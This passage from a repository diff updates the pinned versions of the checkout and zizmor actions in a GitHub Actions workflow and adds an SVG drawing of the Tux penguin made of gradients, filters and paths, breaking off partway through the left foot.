steps:
- name: Checkout repository
uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with:
persist-credentials: false
- name: Run zizmor (blocking, HIGH only)
uses: zizmorcore/zizmor-action@e639db99335bc9038abc0e066dfcd72e23d26fb4 # v0.3.0
uses: zizmorcore/zizmor-action@135698455da5c3b3e55f73f4419e481ab68cdd95 # v0.4.1
with:
advanced-security: false
annotations: true
@@ -44,12 +44,12 @@ jobs:
actions: read
steps:
- name: Checkout repository
uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with:
persist-credentials: false
- name: Run zizmor (SARIF)
uses: zizmorcore/zizmor-action@e639db99335bc9038abc0e066dfcd72e23d26fb4 # v0.3.0
uses: zizmorcore/zizmor-action@135698455da5c3b3e55f73f4419e481ab68cdd95 # v0.4.1
with:
inputs: |
.github/workflows
+438
View File
@@ -0,0 +1,438 @@
<?xml version="1.0" encoding="utf-8"?>
<svg version="1.1" viewBox="0 0 216 256" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<title>Tux</title>
<defs id="tux_fx">
<linearGradient id="gradient_belly_shadow">
<stop offset="0" stop-color="#000000"/>
<stop offset="1" stop-color="#000000" stop-opacity="0.25"/>
</linearGradient>
<linearGradient id="gradient_wing_tip_right_shadow">
<stop offset="0" stop-color="#110800"/>
<stop offset="0.59" stop-color="#a65a00" stop-opacity="0.8"/>
<stop offset="1" stop-color="#ff921e" stop-opacity="0"/>
</linearGradient>
<linearGradient id="gradient_wing_tip_right_glare_1">
<stop offset="0" stop-color="#7c7c7c"/>
<stop offset="1" stop-color="#7c7c7c" stop-opacity="0.33"/>
</linearGradient>
<linearGradient id="gradient_wing_tip_right_glare_2">
<stop offset="0" stop-color="#7c7c7c"/>
<stop offset="1" stop-color="#7c7c7c" stop-opacity="0.33"/>
</linearGradient>
<linearGradient id="gradient_foot_left_layer_1">
<stop offset="0" stop-color="#b98309"/>
<stop offset="1" stop-color="#382605"/>
</linearGradient>
<linearGradient id="gradient_foot_left_glare">
<stop offset="0" stop-color="#ebc40c"/>
<stop offset="1" stop-color="#ebc40c" stop-opacity="0"/>
</linearGradient>
<linearGradient id="gradient_foot_right_shadow">
<stop offset="0" stop-color="#000000"/>
<stop offset="1" stop-color="#000000" stop-opacity="0"/>
</linearGradient>
<linearGradient id="gradient_foot_right_layer_1">
<stop offset="0" stop-color="#3e2a06"/>
<stop offset="1" stop-color="#ad780a"/>
</linearGradient>
<linearGradient id="gradient_foot_right_glare">
<stop offset="0" stop-color="#f3cd0c"/>
<stop offset="1" stop-color="#f3cd0c" stop-opacity="0"/>
</linearGradient>
<linearGradient id="gradient_eyeball">
<stop offset="0" stop-color="#fefefc"/>
<stop offset="0.75" stop-color="#fefefc"/>
<stop offset="1" stop-color="#d4d4d4"/>
</linearGradient>
<linearGradient id="gradient_pupil_left_glare">
<stop offset="0" stop-color="#757574" stop-opacity="0"/>
<stop offset="0.25" stop-color="#757574"/>
<stop offset="0.5" stop-color="#757574"/>
<stop offset="1" stop-color="#757574" stop-opacity="0"/>
</linearGradient>
<linearGradient id="gradient_pupil_right_glare_2">
<stop offset="0" stop-color="#949494" stop-opacity="0.39"/>
<stop offset="0.5" stop-color="#949494"/>
<stop offset="1" stop-color="#949494" stop-opacity="0.39"/>
</linearGradient>
<linearGradient id="gradient_eyelid_left">
<stop offset="0" stop-color="#c8c8c8"/>
<stop offset="1" stop-color="#797978"/>
</linearGradient>
<linearGradient id="gradient_eyelid_right">
<stop offset="0" stop-color="#747474"/>
<stop offset="0.13" stop-color="#8c8c8c"/>
<stop offset="0.25" stop-color="#a4a4a4"/>
<stop offset="0.5" stop-color="#d4d4d4"/>
<stop offset="0.62" stop-color="#d4d4d4"/>
<stop offset="1" stop-color="#7c7c7c"/>
</linearGradient>
<linearGradient id="gradient_eyebrow">
<stop offset="0" stop-color="#646464" stop-opacity="0"/>
<stop offset="0.31" stop-color="#646464" stop-opacity="0.58"/>
<stop offset="0.47" stop-color="#646464"/>
<stop offset="0.73" stop-color="#646464" stop-opacity="0.26"/>
<stop offset="1" stop-color="#646464" stop-opacity="0"/>
</linearGradient>
<linearGradient id="gradient_beak_base">
<stop offset="0" stop-color="#020204"/>
<stop offset="0.73" stop-color="#020204"/>
<stop offset="1" stop-color="#5c5c5c"/>
</linearGradient>
<linearGradient id="gradient_mandible_lower">
<stop offset="0" stop-color="#d2940a"/>
<stop offset="0.75" stop-color="#d89c08"/>
<stop offset="0.87" stop-color="#b67e07"/>
<stop offset="1" stop-color="#946106"/>
</linearGradient>
<linearGradient id="gradient_mandible_upper">
<stop offset="0" stop-color="#ad780a"/>
<stop offset="0.12" stop-color="#d89e08"/>
<stop offset="0.25" stop-color="#edb80b"/>
<stop offset="0.39" stop-color="#ebc80d"/>
<stop offset="0.53" stop-color="#f5d838"/>
<stop offset="0.77" stop-color="#f6d811"/>
<stop offset="1" stop-color="#f5cd31"/>
</linearGradient>
<linearGradient id="gradient_nares">
<stop offset="0" stop-color="#3a2903"/>
<stop offset="0.55" stop-color="#735208"/>
<stop offset="1" stop-color="#ac8c04"/>
</linearGradient>
<linearGradient id="gradient_beak_corner">
<stop offset="0" stop-color="#f5ce2d"/>
<stop offset="1" stop-color="#d79b08"/>
</linearGradient>
<radialGradient id="fill_belly_shadow_left" href="#gradient_belly_shadow" xlink:href="#gradient_belly_shadow"
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(61.18,121.19) scale(19,18)"/>
<radialGradient id="fill_belly_shadow_right" href="#gradient_belly_shadow" xlink:href="#gradient_belly_shadow"
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(125.74,131.6) scale(23.6,18)"/>
<radialGradient id="fill_belly_shadow_middle" href="#gradient_belly_shadow" xlink:href="#gradient_belly_shadow"
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(94.21,127.47) scale(9.35,10)"/>
<linearGradient id="fill_foot_left_base" href="#gradient_foot_left_layer_1" xlink:href="#gradient_foot_left_layer_1"
gradientUnits="userSpaceOnUse" x1="23.18" y1="193.01" x2="64.31" y2="262.02"/>
<linearGradient id="fill_foot_left_glare" href="#gradient_foot_left_glare" xlink:href="#gradient_foot_left_glare"
gradientUnits="userSpaceOnUse" x1="64.47" y1="210.83" x2="77.41" y2="235.21"/>
<linearGradient id="fill_foot_right_shadow" href="#gradient_foot_right_shadow" xlink:href="#gradient_foot_right_shadow"
gradientUnits="userSpaceOnUse" x1="146.93" y1="211.96" x2="150.2" y2="235.73"/>
<linearGradient id="fill_foot_right_base" href="#gradient_foot_right_layer_1" xlink:href="#gradient_foot_right_layer_1"
gradientUnits="userSpaceOnUse" x1="151.5" y1="253.02" x2="192.94" y2="185.84"/>
<linearGradient id="fill_foot_right_glare" href="#gradient_foot_right_glare" xlink:href="#gradient_foot_right_glare"
gradientUnits="userSpaceOnUse" x1="162.81" y1="180.67" x2="161.59" y2="191.64"/>
<radialGradient id="fill_wing_tip_right_shadow_lower" href="#gradient_wing_tip_right_shadow" xlink:href="#gradient_wing_tip_right_shadow"
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(169.71,194.53) rotate(15) scale(19.66,20.64)"/>
<radialGradient id="fill_wing_tip_right_shadow_upper" href="#gradient_wing_tip_right_shadow" xlink:href="#gradient_wing_tip_right_shadow"
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(169.71,189.89) rotate(-2.42) scale(19.74,14.86)"/>
<radialGradient id="fill_wing_tip_right_glare_1" href="#gradient_wing_tip_right_glare_1" xlink:href="#gradient_wing_tip_right_glare_1"
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(184.65,176.62) rotate(23.5) scale(6.95,3.21)"/>
<linearGradient id="fill_wing_tip_right_glare_2" href="#gradient_wing_tip_right_glare_2" xlink:href="#gradient_wing_tip_right_glare_2"
gradientUnits="userSpaceOnUse" x1="165.69" y1="173.58" x2="168.27" y2="173.47"/>
<radialGradient id="fill_eyeball_left" href="#gradient_eyeball" xlink:href="#gradient_eyeball"
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(86.49,51.41) rotate(-0.6) scale(10.24,15.68)"/>
<linearGradient id="fill_pupil_left_glare" href="#gradient_pupil_left_glare" xlink:href="#gradient_pupil_left_glare"
gradientUnits="userSpaceOnUse" x1="84.29" y1="46.64" x2="89.32" y2="55.63"/>
<radialGradient id="fill_eyelid_left" href="#gradient_eyelid_left" xlink:href="#gradient_eyelid_left"
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(84.89,43.74) rotate(-9.35) scale(6.25,5.77)"/>
<linearGradient id="fill_eyebrow_left" href="#gradient_eyebrow" xlink:href="#gradient_eyebrow"
gradientUnits="userSpaceOnUse" x1="83.59" y1="32.51" x2="94.48" y2="43.63"/>
<radialGradient id="fill_eyeball_right" href="#gradient_eyeball" xlink:href="#gradient_eyeball"
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(118.06,51.41) rotate(-1.8) scale(13.64,15.68)"/>
<linearGradient id="fill_pupil_right_glare" href="#gradient_pupil_right_glare_2" xlink:href="#gradient_pupil_right_glare_2"
gradientUnits="userSpaceOnUse" x1="117.87" y1="47.25" x2="123.66" y2="54.11"/>
<linearGradient id="fill_eyelid_right" href="#gradient_eyelid_right" xlink:href="#gradient_eyelid_right"
gradientUnits="userSpaceOnUse" x1="112.9" y1="36.23" x2="131.32" y2="47.01"/>
<linearGradient id="fill_eyebrow_right" href="#gradient_eyebrow" xlink:href="#gradient_eyebrow"
gradientUnits="userSpaceOnUse" x1="119.16" y1="31.56" x2="131.42" y2="43.14"/>
<radialGradient id="fill_beak_base" href="#gradient_beak_base" xlink:href="#gradient_beak_base"
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(97.64,60.12) rotate(-36) scale(11.44,10.38)"/>
<radialGradient id="fill_mandible_lower_base" href="#gradient_mandible_lower" xlink:href="#gradient_mandible_lower"
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(109.77,70.61) rotate(-22.4) scale(27.15,19.07)"/>
<linearGradient id="fill_mandible_upper_base" href="#gradient_mandible_upper" xlink:href="#gradient_mandible_upper"
gradientUnits="userSpaceOnUse" x1="78.09" y1="69.26" x2="126.77" y2="68.88"/>
<radialGradient id="fill_naris_left" href="#gradient_nares" xlink:href="#gradient_nares"
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(92.11,59.88) scale(1.32,1.42)"/>
<radialGradient id="fill_naris_right" href="#gradient_nares" xlink:href="#gradient_nares"
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(104.65,59.7) scale(2.78,1.62)"/>
<linearGradient id="fill_beak_corner" href="#gradient_beak_corner" xlink:href="#gradient_beak_corner"
gradientUnits="userSpaceOnUse" x1="126.74" y1="67.49" x2="126.74" y2="71.09"/>
<filter id="blur_belly_shadow_left">
<feGaussianBlur stdDeviation="0.64 0.55"/>
</filter>
<filter id="blur_belly_shadow_right">
<feGaussianBlur stdDeviation="0.98"/>
</filter>
<filter id="blur_belly_shadow_middle">
<feGaussianBlur stdDeviation="0.68"/>
</filter>
<filter id="blur_belly_shadow_lower" x="-0.8" width="2.6" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="1.25"/>
</filter>
<filter id="blur_belly_glare" x="-0.8" width="2.6" y="-0.5" height="2">
<feGaussianBlur stdDeviation="1.78 2.19"/>
</filter>
<filter id="blur_head_glare" x="-0.3" width="1.6" y="-0.3" height="1.6">
<feGaussianBlur stdDeviation="1.73"/>
</filter>
<filter id="blur_neck_glare" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="0.78"/>
</filter>
<filter id="blur_wing_left_glare" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="0.98"/>
</filter>
<filter id="blur_wing_right_glare" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="1.19 1.17"/>
</filter>
<filter id="blur_foot_left_layer_1" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="3.38"/>
</filter>
<filter id="blur_foot_left_layer_2">
<feGaussianBlur stdDeviation="2.1 2.06"/>
</filter>
<filter id="blur_foot_left_glare">
<feGaussianBlur stdDeviation="0.32"/>
</filter>
<filter id="blur_foot_right_shadow">
<feGaussianBlur stdDeviation="1.95 1.9"/>
</filter>
<filter id="blur_foot_right_layer_1" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="4.12"/>
</filter>
<filter id="blur_foot_right_layer_2" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="3.12 3.37"/>
</filter>
<filter id="blur_foot_right_glare" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="0.41"/>
</filter>
<filter id="blur_wing_tip_right_shadow_lower" x="-0.3" width="1.6" y="-0.3" height="1.6">
<feGaussianBlur stdDeviation="2.45"/>
</filter>
<filter id="blur_wing_tip_right_shadow_upper" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="1.12 0.81"/>
</filter>
<filter id="blur_wing_tip_right_glare" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="0.88"/>
</filter>
<filter id="blur_pupil_left_glare" x="-0.3" width="1.6" y="-0.3" height="1.6">
<feGaussianBlur stdDeviation="0.44"/>
</filter>
<filter id="blur_eyebrow_left">
<feGaussianBlur stdDeviation="0.12"/>
</filter>
<filter id="blur_pupil_right_glare" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="0.45"/>
</filter>
<filter id="blur_eyebrow_right">
<feGaussianBlur stdDeviation="0.13"/>
</filter>
<filter id="blur_beak_shadow_lower" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="1.75"/>
</filter>
<filter id="blur_beak_shadow_upper">
<feGaussianBlur stdDeviation="0.8 0.74"/>
</filter>
<filter id="blur_mandible_lower_glare" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="0.77"/>
</filter>
<filter id="blur_mandible_upper_shadow">
<feGaussianBlur stdDeviation="0.65"/>
</filter>
<filter id="blur_mandible_upper_glare" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="0.73"/>
</filter>
<filter id="blur_naris_left" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="0.1"/>
</filter>
<filter id="blur_naris_right">
<feGaussianBlur stdDeviation="0.1"/>
</filter>
<filter id="blur_beak_corner" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="0.23"/>
</filter>
<clipPath id="clip_body">
<use href="#body_base" xlink:href="#body_base"/>
</clipPath>
<clipPath id="clip_wing_left">
<use href="#wing_left_base" xlink:href="#wing_left_base"/>
</clipPath>
<clipPath id="clip_wing_right">
<use href="#wing_right_base" xlink:href="#wing_right_base"/>
</clipPath>
<clipPath id="clip_foot_left">
<use href="#foot_left_base" xlink:href="#foot_left_base"/>
</clipPath>
<clipPath id="clip_foot_right">
<use href="#foot_right_base" xlink:href="#foot_right_base"/>
</clipPath>
<clipPath id="clip_wing_tip_right">
<use href="#wing_tip_right_base" xlink:href="#wing_tip_right_base"/>
</clipPath>
<clipPath id="clip_eye_left">
<use href="#eyeball_left" xlink:href="#eyeball_left"/>
</clipPath>
<clipPath id="clip_pupil_left">
<use href="#pupil_left_base" xlink:href="#pupil_left_base"/>
</clipPath>
<clipPath id="clip_eye_right">
<use href="#eyeball_right" xlink:href="#eyeball_right"/>
</clipPath>
<clipPath id="clip_pupil_right">
<use href="#pupil_right_base" xlink:href="#pupil_right_base"/>
</clipPath>
<clipPath id="clip_mandible_lower">
<use href="#mandible_lower_base" xlink:href="#mandible_lower_base"/>
</clipPath>
<clipPath id="clip_mandible_upper">
<use href="#mandible_upper_base" xlink:href="#mandible_upper_base"/>
</clipPath>
<clipPath id="clip_beak">
<use href="#mandible_lower_base" xlink:href="#mandible_lower_base"/>
<use href="#mandible_upper_base" xlink:href="#mandible_upper_base"/>
</clipPath>
</defs>
<g id="tux">
<g id="body">
<path id="body_base" fill="#020204"
d="m 106.95,0 c -6,0 -12.02,1.18 -17.46,4.12 -5.78,3.11 -10.52,8.09 -13.43,13.97 -2.92,5.88 -4.06,12.16 -4.24,19.08 -0.33,13.14 0.3,26.92 1.29,39.41 0.26,3.8 0.74,6.02 0.25,9.93 -1.62,8.3 -8.88,13.88 -12.76,21.17 -4.27,8.04 -6.07,17.13 -9.29,25.65 -2.95,7.79 -7.09,15.1 -9.88,22.95 -3.91,10.97 -5.08,23.03 -2.5,34.39 1.97,8.66 6.08,16.78 11.62,23.73 -0.8,1.44 -1.58,2.91 -2.4,4.34 -2.57,4.43 -5.71,8.64 -7.17,13.55 -0.73,2.45 -1.02,5.07 -0.55,7.59 0.47,2.52 1.75,4.93 3.75,6.53 1.31,1.04 2.9,1.72 4.53,2.1 1.63,0.37 3.32,0.46 5,0.43 6.37,-0.14 12.55,-2.07 18.71,-3.69 3.66,-0.96 7.34,-1.81 11.03,-2.58 13.14,-2.69 27.8,-1.61 39.99,0.15 4.13,0.63 8.23,1.44 12.29,2.43 6.36,1.54 12.69,3.5 19.23,3.69 1.72,0.05 3.46,-0.03 5.14,-0.4 1.68,-0.38 3.31,-1.06 4.65,-2.13 2.01,-1.6 3.29,-4.02 3.76,-6.54 0.47,-2.52 0.18,-5.15 -0.56,-7.61 -1.48,-4.92 -4.65,-9.11 -7.27,-13.52 -1.04,-1.75 -2,-3.53 -3.03,-5.28 7.9,-8.87 14.26,-19.13 17.94,-30.4 4.01,-12.3 4.75,-25.55 3.06,-38.38 -1.69,-12.83 -5.76,-25.27 -11.11,-37.05 -6.72,-14.76 -12.37,-20.1 -16.47,-33.07 -4.42,-14.02 -0.77,-30.61 -4.06,-43.32 -1.17,-4.32 -3.04,-8.45 -5.45,-12.23 -2.82,-4.43 -6.4,-8.39 -10.65,-11.47 -6.78,-4.92 -15.3,-7.54 -23.96,-7.54 z"/>
<path id="belly" fill="#fdfdfb"
d="m 83.13,74 c -0.9,1.13 -1.48,2.49 -1.84,3.89 -0.35,1.4 -0.48,2.85 -0.54,4.3 -0.11,2.89 0.07,5.83 -0.7,8.62 -0.82,2.98 -2.65,5.57 -4.44,8.08 -3.11,4.36 -6.25,8.84 -7.78,13.97 -0.93,3.1 -1.24,6.39 -0.91,9.62 -3.47,5.1 -6.48,10.53 -8.98,16.18 -3.78,8.57 -6.37,17.69 -7.28,27.01 -1.12,11.41 0.34,23.15 4.85,33.69 3.25,7.63 8.11,14.6 14.38,20.04 3.18,2.76 6.72,5.11 10.5,6.97 13.11,6.45 29.31,6.46 42.2,-0.41 6.74,-3.59 12.43,-8.84 17.91,-14.15 3.3,-3.2 6.59,-6.48 9.11,-10.32 4.85,-7.41 6.54,-16.41 7.59,-25.2 1.83,-15.36 1.89,-31.6 -4.85,-45.53 -2.32,-4.8 -5.41,-9.22 -9.12,-13.05 -0.98,-6.7 -2.93,-13.27 -5.76,-19.42 -2.05,-4.45 -4.54,-8.68 -6.44,-13.18 -0.78,-1.85 -1.46,-3.75 -2.32,-5.56 -0.87,-1.81 -1.93,-3.55 -3.39,-4.94 -1.48,-1.42 -3.33,-2.43 -5.28,-3.07 -1.95,-0.65 -4.01,-0.94 -6.06,-1.04 -4.11,-0.21 -8.22,0.33 -12.33,0.16 -3.27,-0.13 -6.53,-0.7 -9.8,-0.51 -1.63,0.1 -3.26,0.39 -4.78,1.01 -1.52,0.61 -2.92,1.56 -3.94,2.84 z"/>
<g id="body_self_shadows">
<path id="belly_shadow_left" opacity="0.25" fill="url(#fill_belly_shadow_left)" filter="url(#blur_belly_shadow_left)" clip-path="url(#clip_body)"
d="m 68.67,115.18 c 0.87,1.31 -0.55,5.84 19.86,2.94 0,0 -3.59,0.39 -7.12,1.21 -5.49,1.84 -10.27,3.89 -13.97,6.61 -3.65,2.7 -6.33,6.21 -9.68,9.22 0,0 5.43,-9.92 6.78,-12.91 1.36,-2.99 -0.22,-2.85 0.85,-7.25 1.07,-4.4 3.69,-8.63 3.69,-8.63 0,0 -2.14,6.22 -0.41,8.81 z"/>
<path id="belly_shadow_right" opacity="0.42" fill="url(#fill_belly_shadow_right)" filter="url(#blur_belly_shadow_right)" clip-path="url(#clip_body)"
d="m 134.28,113.99 c -4.16,2.9 -6.6,2.56 -11.64,3.12 -5.05,0.57 -18.7,0.36 -18.7,0.36 0,0 1.97,-0.03 6.36,0.78 4.38,0.82 13.31,1.6 18.34,3.51 5.04,1.92 6.87,2.47 9.93,4.4 4.35,2.75 7.55,7.06 11.71,10.08 0,0 0.2,-4 -1.48,-6.99 -1.68,-2.99 -6.2,-7.7 -7.53,-12.1 -1.32,-4.4 -1.96,-13.04 -1.96,-13.04 0,0 -0.88,6.99 -5.03,9.88 z"/>
<path id="belly_shadow_middle" opacity="0.2" fill="url(#fill_belly_shadow_middle)" filter="url(#blur_belly_shadow_middle)" clip-path="url(#clip_body)"
d="m 95.17,107.81 c -0.16,1.25 -0.36,2.5 -0.6,3.74 -0.12,0.61 -0.26,1.22 -0.48,1.8 -0.23,0.58 -0.56,1.14 -1.02,1.55 -0.41,0.37 -0.9,0.62 -1.4,0.85 -1.94,0.88 -4.01,1.47 -6.12,1.74 0.84,0.06 1.68,0.14 2.53,0.23 0.53,0.06 1.06,0.12 1.57,0.25 0.52,0.14 1.03,0.34 1.46,0.65 0.47,0.35 0.84,0.82 1.12,1.34 0.55,1.02 0.73,2.2 0.83,3.37 0.13,1.48 0.14,2.98 0.03,4.46 0.1,-0.99 0.31,-1.98 0.62,-2.92 0.57,-1.72 1.47,-3.32 2.69,-4.65 0.49,-0.52 1.02,-1.01 1.6,-1.42 1.79,-1.26 4.07,-1.81 6.24,-1.51 -2.21,0.09 -4.44,-0.6 -6.2,-1.93 -0.9,-0.68 -1.68,-1.52 -2.22,-2.5 -0.84,-1.52 -1.08,-3.37 -0.65,-5.05 z"/>
<path id="belly_shadow_lower" opacity="0.11" fill="#000000" filter="url(#blur_belly_shadow_lower)" clip-path="url(#clip_body)"
d="m 89.85,137.14 c -1.06,4.03 -1.79,8.15 -2.17,12.31 -0.55,5.87 -0.42,11.78 -0.74,17.67 -0.26,4.99 -0.85,10.04 0.02,14.97 0.41,2.35 1.15,4.64 2.2,6.78 0.16,-0.82 0.29,-1.64 0.36,-2.47 0.37,-4 -0.3,-8.01 -0.53,-12.01 -0.4,-7.02 0.57,-14.04 0.97,-21.06 0.3,-5.39 0.27,-10.8 -0.11,-16.19 z"/>
</g>
<g id="body_glare">
<path id="belly_glare" opacity="0.75" fill="#7c7c7c" filter="url(#blur_belly_glare)" clip-path="url(#clip_body)"
d="m 160.08,131.23 c 1.03,-0.16 7.34,5.21 6.48,7.21 -0.86,1.99 -2.49,0.79 -3.65,0.8 -1.16,0.02 -4.33,1.46 -4.86,0.55 -0.54,-0.91 1.4,-3.03 2.41,-4.81 0.82,-1.43 -1.4,-3.59 -0.38,-3.75 z"/>
<path id="head_glare" fill="#7c7c7c" filter="url(#blur_head_glare)" clip-path="url(#clip_body)"
d="m 121.52,11.12 c -2.21,1.56 -1.25,3.51 -0.3,5.46 0.95,1.96 -2.09,7.59 -2.12,7.83 -0.03,0.24 5.98,-2.85 7.62,-4.87 1.94,-2.37 6.83,3.22 6.56,2.37 0.01,-1.52 -9.55,-12.34 -11.76,-10.79 z"/>
<path id="neck_glare" fill="#838384" filter="url(#blur_neck_glare)" clip-path="url(#clip_body)"
d="m 138.27,76.63 c -1.86,1.7 0.88,4.25 2.17,7.24 0.81,1.86 3.04,4.49 5.2,4.07 1.63,-0.32 2.63,-2.66 2.48,-4.3 -0.3,-3.18 -2.98,-3.93 -4.93,-5.02 -1.54,-0.86 -3.61,-3.18 -4.92,-1.99 z"/>
</g>
</g>
<g id="wings">
<g id="wing_left">
<path id="wing_left_base" fill="#020204"
d="m 63.98,100.91 c -6.1,6.92 -12.37,13.63 -15.81,21.12 -1.71,3.8 -2.51,7.93 -3.68,11.93 -1.32,4.54 -3.12,8.94 -5.14,13.22 -1.87,3.95 -3.93,7.81 -5.98,11.66 -1.5,2.81 -3.02,5.67 -3.54,8.81 -0.41,2.48 -0.18,5.04 0.46,7.47 0.63,2.43 1.64,4.75 2.79,6.98 4.88,9.55 12.21,17.77 20.89,24.07 3.94,2.85 8.15,5.32 12.58,7.35 2.4,1.09 4.92,2.07 7.56,2.11 1.32,0.03 2.65,-0.19 3.86,-0.72 1.2,-0.53 2.28,-1.38 3,-2.49 0.88,-1.36 1.18,-3.05 1,-4.66 -0.18,-1.61 -0.81,-3.15 -1.65,-4.53 -2.06,-3.38 -5.31,-5.83 -8.44,-8.25 -6.76,-5.23 -13.29,-10.76 -19.55,-16.58 -1.76,-1.65 -3.53,-3.34 -4.76,-5.42 -1.2,-2.02 -1.85,-4.32 -2.29,-6.63 -1.21,-6.33 -0.9,-12.99 1.25,-19.07 0.85,-2.38 1.96,-4.65 3.04,-6.93 1.86,-3.95 3.62,-7.98 6.07,-11.6 3.05,-4.51 7.13,-8.33 9.61,-13.17 2.1,-4.09 2.95,-8.68 3.76,-13.2 0.64,-3.54 1.85,-7 2.47,-10.54 -1.21,2.3 -5.11,6.07 -7.5,9.07 z"/>
<path id="wing_left_glare" opacity="0.95" fill="#7c7c7c" filter="url(#blur_wing_left_glare)" clip-path="url(#clip_wing_left)"
d="m 56.96,126.1 c -2,1.84 -3.73,3.97 -5.13,6.31 -2.3,3.84 -3.65,8.16 -5.33,12.31 -1.24,3.09 -2.69,6.2 -2.86,9.53 -0.09,1.71 0.16,3.42 0.22,5.13 0.06,1.71 -0.1,3.49 -0.94,4.98 -0.7,1.25 -1.87,2.23 -3.22,2.71 1.83,0.61 3.45,1.79 4.6,3.33 0.96,1.3 1.58,2.81 2.41,4.18 0.68,1.12 1.51,2.16 2.54,2.97 1.02,0.82 2.25,1.4 3.54,1.56 1.79,0.23 3.65,-0.36 4.97,-1.58 -1.66,-15.55 -0.14,-31.42 4.44,-46.37 0.29,-0.94 0.59,-1.89 0.67,-2.87 0.07,-0.99 -0.12,-2.03 -0.72,-2.81 -0.31,-0.42 -0.74,-0.75 -1.23,-0.96 -0.48,-0.2 -1.02,-0.28 -1.54,-0.21 -0.52,0.06 -1.03,0.26 -1.45,0.57 -0.42,0.32 -0.76,0.74 -0.97,1.22 z"/>
</g>
<g id="wing_right">
<path id="wing_right_base" fill="#020204"
d="m 162.76,127.12 c 5.24,4.22 8.57,10.59 9.6,17.24 0.8,5.18 0.28,10.51 -0.89,15.62 -1.17,5.12 -2.97,10.06 -4.77,15 -0.71,1.96 -1.43,3.95 -1.71,6.02 -0.29,2.08 -0.11,4.27 0.89,6.11 1.15,2.11 3.29,3.56 5.59,4.24 2.27,0.68 4.72,0.66 7.02,0.09 2.3,-0.57 6.17,-1.31 8.04,-2.77 4.75,-3.69 5.88,-10.1 7.01,-15.72 1.17,-5.87 0.6,-12.02 -0.43,-17.95 -1.41,-8.09 -3.78,-15.99 -6.79,-23.62 -2.22,-5.62 -5.06,-10.98 -8.44,-15.96 -3.32,-4.89 -8.02,-8.7 -11.5,-13.48 -1.21,-1.66 -2.66,-3.38 -3.84,-5.06 -2.56,-3.62 -1.98,-2.94 -3.57,-5.29 -1.15,-1.7 -2.97,-2.28 -4.88,-3.02 -1.92,-0.74 -4.06,-0.96 -6.04,-0.41 -2.6,0.73 -4.73,2.79 -5.86,5.24 -1.13,2.46 -1.33,5.28 -0.89,7.95 0.57,3.44 2.14,6.64 3.92,9.64 2,3.39 4.32,6.66 7.35,9.18 3.16,2.63 6.98,4.37 10.19,6.95 z"/>
<path id="wing_right_glare" fill="#838384" filter="url(#blur_wing_right_glare)" clip-path="url(#clip_wing_right)"
d="m 150.42,118.99 c 0.42,0.4 0.86,0.81 1.31,1.19 3.22,2.63 4.93,5.58 8.2,8.16 5.34,4.22 10.75,11.5 11.8,18.15 0.82,5.19 -0.26,8.01 -1.58,14.12 -1.32,6.12 -5.06,14.78 -7.09,20.68 -0.8,2.35 1.64,1.38 1.32,3.86 -0.16,1.22 -0.18,2.45 -0.03,3.67 0.02,-0.23 0.03,-0.48 0.06,-0.71 0.39,-3.38 1.42,-6.63 2.55,-9.82 2.17,-6.13 4.66,-12.15 6.38,-18.45 1.72,-6.29 1.53,-10.82 0.63,-16.23 -1.13,-6.81 -5.09,-13.09 -10.69,-17.24 -3.97,-2.93 -8.64,-4.81 -12.86,-7.38 z"/>
</g>
</g>
<g id="feet">
<g id="foot_left">
<path id="foot_left_base" fill="url(#fill_foot_left_base)"
